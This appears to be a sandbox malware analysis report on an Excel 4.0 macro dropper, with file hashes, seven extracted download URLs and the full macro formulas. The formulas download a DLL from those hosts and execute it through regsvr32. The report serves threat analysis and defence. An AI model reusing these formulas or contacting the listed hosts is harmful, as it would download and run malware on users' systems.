General

  • Target

    0662b95eafc74dd6257bda280ba83fba8f4150445f544c4b33189a210d570d9f

  • Size

    21KB

  • Sample

    241120-yf8xsswpgm

  • MD5

    23158545ef4c34b6f2064fe4e0ed56ce

  • SHA1

    d4d81598fc1f527afcb73c8b937072bd030df6e5

  • SHA256

    0662b95eafc74dd6257bda280ba83fba8f4150445f544c4b33189a210d570d9f

  • SHA512

    39775ecb510a64b2d74b77197990abb66c8a1665e745ddeb16bd43b964f07c9d74cd0a586c1fff760a1eb3652862fb09b7430c6a786fa3ba43386ac298e596df

  • SSDEEP

    384:vhuAi/NjZS8EibbwBlwegASYrLb5CzgObff9kC+xbX77NWu:vtsNxzXQFCBn9kC+xbL71

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://beetle-j.jp/wp-admin/ErM4mW05tdj/

https://brutobrasil.com.br/pdf/toO18cIP3/

http://e3technology.in/2checkout_integration_php/rDcr1Wl90WWA9M/

http://biesenbeek.nl/familie/b6KKlrfH75GD3dHojB/

http://bjornbol.dk/wp-includes/ve4cnkjsUMWXC5Cb2bJ/

http://bcelectronics.co.za/wp-content/grKnz1V/

http://bebesel.com.tr/cgi-bin/1wy3oHO/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://beetle-j.jp/wp-admin/ErM4mW05tdj/","..\rfs.dll",0,0) =IF('PCWV'!G13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://brutobrasil.com.br/pdf/toO18cIP3/","..\rfs.dll",0,0)) =IF('PCWV'!G15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://e3technology.in/2checkout_integration_php/rDcr1Wl90WWA9M/","..\rfs.dll",0,0)) =IF('PCWV'!G17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://biesenbeek.nl/familie/b6KKlrfH75GD3dHojB/","..\rfs.dll",0,0)) =IF('PCWV'!G19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bjornbol.dk/wp-includes/ve4cnkjsUMWXC5Cb2bJ/","..\rfs.dll",0,0)) =IF('PCWV'!G21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bcelectronics.co.za/wp-content/grKnz1V/","..\rfs.dll",0,0)) =IF('PCWV'!G23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bebesel.com.tr/cgi-bin/1wy3oHO/","..\rfs.dll",0,0)) =IF('PCWV'!G25<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://beetle-j.jp/wp-admin/ErM4mW05tdj/

xlm40.dropper

https://brutobrasil.com.br/pdf/toO18cIP3/

xlm40.dropper

http://e3technology.in/2checkout_integration_php/rDcr1Wl90WWA9M/

Targets

    • Target

      0662b95eafc74dd6257bda280ba83fba8f4150445f544c4b33189a210d570d9f

    • Size

      21KB

    • MD5

      23158545ef4c34b6f2064fe4e0ed56ce

    • SHA1

      d4d81598fc1f527afcb73c8b937072bd030df6e5

    • SHA256

      0662b95eafc74dd6257bda280ba83fba8f4150445f544c4b33189a210d570d9f

    • SHA512

      39775ecb510a64b2d74b77197990abb66c8a1665e745ddeb16bd43b964f07c9d74cd0a586c1fff760a1eb3652862fb09b7430c6a786fa3ba43386ac298e596df

    • SSDEEP

      384:vhuAi/NjZS8EibbwBlwegASYrLb5CzgObff9kC+xbX77NWu:vtsNxzXQFCBn9kC+xbL71

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks